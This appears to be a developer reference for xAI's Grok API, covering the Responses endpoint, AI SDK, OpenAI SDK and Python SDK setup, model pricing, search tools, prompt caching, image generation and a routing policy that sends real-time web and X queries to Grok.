xAI's comparison page calls the Responses API "the recommended way" and marks Chat Completions Deprecated ("legacy endpoint, limited updates"). No shutdown date is published, and some docs pages (e.g. streaming) still show Chat Completions examples. Write new code against Responses.

Responses (/v1/responses) Chat Completions (/v1/chat/completions)
Status Recommended Deprecated
State Optional server-side state: previous_response_id, store (default true, kept 30 days) Stateless, so resend history
Tools Function calling and server-side tools (search, code, MCP) Function calling only
Reasoning Encrypted reasoning content returned (include: ["reasoning.encrypted_content"]) Not returned
Request shape input, max_output_tokens messages, max_tokens

store defaults to true. If your prompts carry personal data and you rebuild history yourself, send store: false (AI SDK: providerOptions.xai.store).

Official Documentation

Resource URL
Quickstart https://docs.x.ai/developers/quickstart
Models & pricing https://docs.x.ai/developers/models
Grok 4.7 https://docs.x.ai/developers/grok-4-7
Responses vs Chat Completions https://docs.x.ai/developers/model-capabilities/text/comparison
Web Search / X Search tools https://docs.x.ai/developers/tools/web-search · https://docs.x.ai/developers/tools/x-search
Function calling https://docs.x.ai/developers/tools/function-calling
Tool invocation pricing https://docs.x.ai/developers/pricing
Prompt caching (multi-turn) https://docs.x.ai/developers/advanced-api-usage/prompt-caching/multi-turn
Rate limits https://docs.x.ai/developers/rate-limits
May 15 2026 model retirements https://docs.x.ai/developers/migration/may-15-retirement
Image generation https://docs.x.ai/developers/model-capabilities/images/generation
Batch API https://docs.x.ai/developers/advanced-api-usage/batch-api
Console (keys, billing, limits) https://console.x.ai
Python SDK https://github.com/xai-org/xai-sdk-python
AI SDK xAI provider https://ai-sdk.dev/providers/ai-sdk-providers/xai

SDK Setup

xAI's docs use the AI SDK provider and the OpenAI SDK for JavaScript. There is no first-party xAI JS SDK.

npm i @ai-sdk/xai ai zod

As of 2026-10-18: @ai-sdk/xai 5.0.24 with ai 7.0.143 (both on @ai-sdk/provider 4.0.29; upgrade them together). Since AI SDK 7, xai(modelId) calls the Responses API; xai.responses(modelId) is the explicit form.

import { xai } from "@ai-sdk/xai"; // reads XAI_API_KEY from env
import { generateText } from "ai";

const { text } = await generateText({
  model: xai("grok-4.7"),
  prompt: "Summarize today's US small-business payments news.",
});

Custom configuration (baseURL, headers, fetch are also accepted):

import { createXai } from "@ai-sdk/xai";

const xai = createXai({ apiKey: process.env.XAI_API_KEY });

TypeScript — OpenAI SDK (drop-in compatibility)

import OpenAI from "openai";

const client = new OpenAI({
  apiKey: process.env.XAI_API_KEY,
  baseURL: "https://api.x.ai/v1",
  timeout: 360_000, // ms. Reasoning models can think for a while
});

const response = await client.responses.create({ model: "grok-4.7", input: "What is prompt caching?" });
console.log(response.output_text);

Python — official xai-sdk

pip install xai-sdk   # 1.20.0, Python >= 3.10
from xai_sdk import Client
from xai_sdk.chat import user

client = Client()  # reads XAI_API_KEY from environment
chat = client.chat.create(model="grok-4.7")
chat.append(user("Hello, how are you?"))
response = chat.sample()
print(response.content)

Models

Prices are per 1M tokens. When a request's prompt reaches 200K tokens, every token in that request bills at the higher tier (roughly 2×).

Model ID Context Input / cached / output (<200K) Notes
grok-4.7 500K $2.00 / $0.50 / $6.00 Flagship. Coding, agentic tasks, knowledge work
grok-4.6 500K $2.00 / $0.50 / $6.00 Previous flagship, same price. Supports reasoningEffort: 'xhigh'
grok-4.5 500K $2.00 / $0.30 / $6.00 Older generation; can't disable reasoning
grok-4.3 1M $1.25 / $0.20 / $2.50 Cheap long-context option; reasoning effort none–high
grok-4.20-0309-reasoning / -non-reasoning 1M $1.25 / $0.20 / $2.50 Fixed reasoning variants (no effort option)
grok-4.20-multi-agent-0309 1M $1.25 / $0.20 / $2.50 Effort controls the number of agents
grok-build-0.1 256K $1.00 / $0.20 / $2.00 Coding model (replaced grok-code-fast-1)
grok-imagine-image-2.0 — $0.04 / image Latest image model (also grok-imagine-image $0.02)
grok-imagine-video-1.5 / -lite — $0.08 / $0.02 per second Video generation
grok-voice-3.0 — $0.08 / min Speech-to-speech (grok-voice-2.0 is deprecated)

Aliases: <model> tracks the latest stable version, <model>-latest the latest of any kind, and <model>-<date> never moves. Pin explicit IDs in production.

Retired on 2026-05-15 (slugs still resolve, billed at grok-4.3 rates): grok-4-1-fast-reasoning / -non-reasoning, grok-4-fast-reasoning / -non-reasoning, grok-4-0709, grok-3 (→ grok-4.3), and grok-code-fast-1 (→ grok-build-0.1). If old code "still works", it is silently running and billing as grok-4.3. grok-imagine-image-quality retires 2026-11-02 → move to grok-imagine-image-2.0.

Reasoning effort

Set it with providerOptions.xai.reasoningEffort (AI SDK) or reasoning_effort (REST). Support is per model:

Model Accepts Default
grok-4.3 none, low, medium, high —
grok-4.5 low, medium, high (can't disable) high
grok-4.6 low, medium, high, xhigh high
grok-4.20 reasoning / non-reasoning not accepted —
grok-4.7 not yet listed in the AI SDK provider docs; leave unset until it is —

grok-4.3 with reasoningEffort: 'none' is the fast, cheap choice for classification and summarisation.


Core Patterns

A request (Responses API)

curl https://api.x.ai/v1/responses \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $XAI_API_KEY" \
  -d '{
    "model": "grok-4.7",
    "input": [
      {"role": "system", "content": "You are a concise assistant."},
      {"role": "user", "content": "What is prompt caching?"}
    ],
    "store": false
  }'

Streaming

Set a long timeout: reasoning models can run for minutes before the first token. xAI's examples use up to 3600 s.

import { xai } from "@ai-sdk/xai";
import { streamText } from "ai";

const result = streamText({ model: xai("grok-4.7"), prompt });
for await (const delta of result.textStream) process.stdout.write(delta);
for response, chunk in chat.stream():          # xai-sdk
    print(chunk.content, end="", flush=True)

Search tools: web + X with citations

Formerly "Live Search". These are now server-side tools. Declare them in tools, and the model plans, searches, browses, and cites inside the request, with no tool-execution loop on your side.

Tool Price (on top of tokens)
web_search $5 per 1k calls
x_search $5 per 1k posts returned, $10 per 1k profiles
curl https://api.x.ai/v1/responses \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $XAI_API_KEY" \
  -d '{
    "model": "grok-4.7",
    "input": [{"role": "user", "content": "What is the latest update from xAI?"}],
    "tools": [{"type": "web_search"}, {"type": "x_search"}]
  }'
import { xai } from "@ai-sdk/xai";
import { generateText } from "ai";

const { text, sources } = await generateText({
  model: xai("grok-4.7"),
  prompt: "What changed in Kenya's central bank rate this month?",
  tools: {
    web_search: xai.tools.webSearch({ allowedDomains: ["centralbank.go.ke"] }),
    x_search: xai.tools.xSearch({ allowedXHandles: ["CBKKenya"] }),
  },
  providerOptions: { xai: { maxTurns: 3 } }, // caps xAI's internal search loop
});
from xai_sdk import Client
from xai_sdk.chat import user
from xai_sdk.tools import web_search, x_search

client = Client()
chat = client.chat.create(
    model="grok-4.7",
    tools=[web_search(allowed_domains=["centralbank.go.ke"]), x_search()],
)
chat.append(user("What is the latest update from xAI?"))
response = chat.sample()
print(response.content)
print(response.citations)               # source URLs
print(response.server_side_tool_usage)  # per-tool call counts, to meter cost

Filters:

The Python SDK uses the snake_case equivalents.

Mixing with your own function tools: xAI's docs say server-side and client-side tools can be combined in one request; the @ai-sdk/xai 5.0.24 docs say they can't. Test on your versions, or wrap search in a function tool that makes its own call (pattern in grok-chatbot/).

Structured Outputs (AI SDK + Zod)

import { xai } from "@ai-sdk/xai";
import { generateText, Output } from "ai";
import { z } from "zod";

const InvoiceSchema = z.object({
  vendor_name: z.string().describe("Name of the vendor"),
  invoice_number: z.string().describe("Unique invoice identifier"),
  total_amount: z.number().min(0).describe("Total amount due"),
});

const { output } = await generateText({
  model: xai("grok-4.7"),
  output: Output.object({ schema: InvoiceSchema }),
  prompt: "Extract the invoice fields from this email: ...",
});

Prompt Caching

Cached input bills at a quarter of the input price on grok-4.7 ($0.50 vs $2.00). xAI's multi-turn caching rules:

import { xai } from "@ai-sdk/xai";
import { generateText } from "ai";

const result = await generateText({
  model: xai("grok-4.7"),
  messages,
  headers: { "x-grok-conv-id": conversationId },
  providerOptions: { xai: { promptCacheKey: conversationId } },
});
console.log(result.usage.inputTokenDetails.cacheReadTokens); // AI SDK v7 field

On the raw API the cached count is usage.prompt_tokens_details.cached_tokens.

Image Generation

generateImage is a stable AI SDK export (no longer experimental_).

import { xai } from "@ai-sdk/xai";
import { generateImage } from "ai";

const { image } = await generateImage({
  model: xai.image("grok-imagine-image-2.0"),
  prompt: "A product photo of a ceramic coffee mug on a walnut desk",
});

Rate limits


AI Routing: When to Use xAI

In codeAmani's routing policy, Anthropic Claude stays primary for complex reasoning and code gen. xAI earns its slot when the answer needs live web or X data:

flowchart TD
  A["Incoming task"] --> B{"Needs real-time<br/>web or X data?"}
  B -->|"yes"| C["xAI grok-4.7<br/>web_search + x_search"]
  B -->|"no"| D{"Complex reasoning<br/>or code gen?"}
  D -->|"yes"| E["Anthropic Claude"]
  D -->|"no"| F["Route by cost tier<br/>(grok-4.3 effort none / DeepSeek / Haiku)"]
Task Recommended
Real-time news / market / social sentiment grok-4.7 + web_search
"What's happening on X about …" grok-4.7 + x_search
Ground a >500K-token corpus in live data grok-4.3 (1M context) + search tools
Cheap classification / summarisation grok-4.3 with reasoningEffort: 'none'
Complex reasoning, agents, code gen Anthropic Claude

Environment Variables

# Required — create at https://console.x.ai
XAI_API_KEY=xai-...

codeAmani notes


Troubleshooting

Issue Fix
401 Unauthorized Verify XAI_API_KEY (starts with xai-) and that it's set server-side
Request times out Reasoning models think before answering. Raise the SDK timeout (xAI's examples use up to 3600s) and stream
Old model ID "still works" but costs/quality changed Retired slug silently redirected to grok-4.3. Pin grok-4.7 / grok-4.3
allowedDomains rejected Max 5 domains; can't combine with excludedDomains in one request
No citations in response Citations require a search tool (web_search / x_search) in tools
Search bill higher than expected Each web search is $0.005 on top of tokens. Cap with maxTurns and meter server_side_tool_usage
cached_tokens always 0 Append-only history, a stable x-grok-conv-id, and send reasoning content back. In AI SDK v7 read inputTokenDetails.cacheReadTokens
429 Too Many Requests RPS (RPM ÷ 48) or TPM tier limit. Back off; tiers rise with spend
experimental_generateImage is not exported Use generateImage from ai (stable in v7)
Model not found Check current IDs at docs.x.ai/developers/models. The lineup rotates quickly

Official docs: